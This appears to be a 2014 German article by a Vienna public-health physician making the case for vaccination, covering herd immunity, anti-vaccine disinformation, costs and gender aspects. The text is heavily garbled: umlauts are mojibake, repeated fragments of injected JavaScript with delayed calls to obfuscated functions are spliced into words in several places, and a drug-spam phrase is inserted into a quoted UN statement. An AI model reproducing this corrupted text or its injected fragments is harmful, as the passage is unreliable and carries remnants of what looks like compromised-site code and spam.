Impfen schA?tzt.

Wolfgang Maurer

Impfungen gegen Infektionserreger gehA�ren global zu den erfolgreichsten PrA�ventionsmaAYnahmen. Sie verhindern massenhafte Erkrankungen und DauerschA�den sowie TodesfA�lle. In der USA sind viele der meldepflichtigen impfprA�ventablen Erkrankungen mit der EinfA?hrung flA�chendeckender Impfungen um mehr als 99,99% zurA?ckgegangen. Pocken sind durch Impfungen seit 1980 global getilgt.
Impfstoffe werden entwickelt, wenn eine Infektionserkrankung sehr hA�ufig ist (z.B. Masern) oder wenn sie zwar seltener, aber hA�ufig lebensbedrohlich ist (z.B. Meningokokken), aber auch dann, wenn die Erkrankungsfolgen lange andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andauern (zB Poliomyelitis). Die Entwicklung eines neuen Impfstoffes ist sehr teuer und dauert Jahre a�� wobei bis zum Schluss unklar ist, ob die Impfstoffentwicklung erfolgreich war. In den letzten 15 Jahren sind viele neue Impfstoffe entwickelt worden, wie z.B. Pneumokokkenimpfstoffe, Impfstoffe gegen GebA�rmutterhalskrebs, oder gegen Rotavirus- und Meningokokkeninfektionen. Alle europA�ischen LA�nder haben sich gegenA?ber der Weltgesundheitsorganisation (WHO) verpflichtet, Masern und RA�teln zunA�chst bis 2010 zu eliminieren. Dieses Ziel wurde weit verfehlt, es soll jetzt 2015 erreicht werden. Peru ist seit 12 Jahren frei von Masern. 2008 hatte Gesamtamerika mit mehr als 900 Mio Einwohnern 193 MasernfA�lle. Allein A�sterreich jedoch hat bei 8,4 Mio Einwohnern 448 gemeldete MasernfA�lle. Was machen die Peruaner richtig, was machen wir falsch?

Aus den Augen, aus dem Sinn

Ein Problem von Impfungen ist, dass sie so erfolgreich sind. Keiner kennt mehr ein Kind mit Masernenzephalitis (GehirnentzA?ndung), Kinder mit Beinprothesen nach Poliomyelitis sieht man hier nicht mehr. Dadurch gerA�t die Gesundheitsgefahr einer Erkrankung, die durch Impfung vermeidbar ist, im A�ffentlichen Bewusstsein in den Hintergrund, und die vermeintlichen Risiken der Impfung schieben sich in den Vordergrund. Und in vielen LA�ndern Europas versterben mehr Personen an Krankheiten, die durch eine Impfung vermeidbar wA�ren, als im StraAYenverkehr.
Nachteilig auf die Akzeptanz von Impfprogrammen wirken sich besonders im Internet AktivitA�ten von Impfgegnern aus, die damit ihre Desinformation breit streuen kA�nnen. So ist heute wissenschaftlich klar, dass Autismus oder multiple Sklerose nicht durch Impfungen verursacht werden, dennoch werden solche Beschuldigungen immer wieder verbreitet. Oft haben Impfgegner nicht nur ein RealitA�tsproblem, so sind viele Impfgegner auch AIDS-Leugner (HIV sei nicht die Ursach von AIDS!), oder leugnen generell, dass es Infektionserreger gibt. Unter Impfgegnern gibt es auch homophobe Tendenzen. So behauptete kA?rzlich ein Aktivist der italienischen Grillini: a�zImpfen macht schwula�? a�� in den Medien wurde dieser 72 jA�hrige Heilpraktiker als a�zForschera�? bezeichnet

Kinderrechte/Menschenrechte

Nach der Kinderechtskonvention, Artikel 24 haben Kinder das Recht auf hA�chstmA�gliche Gesundheit, und damit haben UNICEF und die Vereinten Nationen festgelegt: a�zJedes Kind hat ein Recht auf Purchase sinemet dosage Impfung gegen verhA?tbare Krankheiten. Die Routineimpfung von Kindern ist notwendig, um das Recht der Kinder auf Gesundheit zu gewA�hrleisten.a�? Und jeder zumindest in der EU lebende Mensch hat ein Anrecht auf medizinische Versorgung nach state oft he art. Dazu gehA�ren auch Impfungen.

GruppenimmunitA�t (HerdenimmunitA�t)

Bei Infektionserkrankungen, bei denen nur der Mensch Wirt des Erregers ist, kann die Zirkulation des Erregers durch breit angewandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andte Impfprogramme regional zum Erliegen gebracht und letztlich global getilgt werden. Dazu gehA�ren u.a. Hepatitis B, Haemophilus influenzae B, Keuchhusten, Polio, Masern, Mumps und RA�teln. ZunA�chst sinkt bei zunehmender Durchimpfungsrate der Infektionsdruck, da der Erreger zahlenmA�AYig weniger empfA�ngliche Personen findet. Ab einer gewissen Durchimpfungsrate (bei Masern 95%) hA�rt der Erreger auf in der Population zu zirkulieren und wird regional eliminiert. Dadurch sind indirekt auch Kinder geschA?tzt, die zu jung sind, um geimpft zu werden (z.B. vor Masern im ersten Lebensjahr), weiters sind immunsupprimierte Personen z.B. nach Transplantation oder Chemotherapie geschA?tzt. Damit wird klar, dass breitflA�chige Impfprogramme auch groAYe soziale Wirkungen haben kA�nnen.

Kosten von Impfungen

Breite Impfprogramme kosten zunA�chst viel Geld, jedoch sind die Kosten fA?r die Erkrankungen, die sie vermeiden, bedeutend hA�her. Im Prinzip sollte jeder – durch welche PrA�ventionsmaAYnahme auch immer – vermiedene Todesfall gleich viel a�zwerta�? sein. Bei A?ber 65 jA�hrigen a�zjungen Altena�? mit einer chronischen Herzerkrankung brauchen nur 122 Personen geimpft werden, um einen Todesfall zu vermeiden- mit rund 1000-2000 a�� ein vergleichsweise sehr niedriger Betrag.
Bei der HPV-Impfung gegen Zervixkarzinom erscheinen die Kosten von durchnittlich 381.000 a�� schon hoch, sind aber trotzdem kostensparend.

Der Gender Aspekt von PrA�ventionsmethoden

PrA�vention gibt es auch auf andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anderen Gebieten a�� so sind durch viele MaAYnahmen TodesfA�lle im StraAYenverkehr – seit Jahren rA?cklA�ufig. Die Kosten fA?r diese MaAYnahmen wurden bereits 1997 als gerechtfertigt angesehen, wenn sie 1 Million Euro pro vermiedenem Todesfall im StraAYenverkehr a�� etwa drei Viertel der Betroffenen sind MA�nner – nicht A?berschritten, die so genannte “the million euros rule”.Valorisiert und erweitert sind dies heute Aufwendungen von 4 Mio a��. FA?r MaAYnahmen, die TodesfA�lle bei Risiken reduzieren, die hauptsA�chlich MA�nner betreffen, ist offensichtlich Geld vorhandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anden. Dem gegenA?ber stehen gesellschaftlich noch nicht allgemein akzeptierte Kosten von 381.000 a�� zur Vermeidung eines Todesfalles durch Cervixkarzinom a�� das trifft zu 100% Frauen. Noch auffA�lliger wird dies bei durch Influenza- Impfung vermiedenen TodesfA�llen fA?r a�zjunge Alte/Hochbetagtea�?: dies ist wegen der Altersstruktur zu zwei Drittel ein Frauenproblem a�� und wA?rde 1000-2000 a�� pro vermiedenem Todesfall kosten.

SeriA�se Informationen

Im Internet finden sich neben A?berquellenden unseriA�sen Informationen auch seriA�se Quellen- einige sind hier genannt:
In A�sterreich: www.bmg.gv.at ; in Deutschlandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and: www.stiko.de bzw www.rki.de und auch www.pei.de ;
in Europa ecdc.europa.eu/en/Pages/home.aspx
Verfasser. DDr Wolfgang Maurer, Zentrum fA?r Public Health
Medizinische UniversitA�t Wien. Okt 2014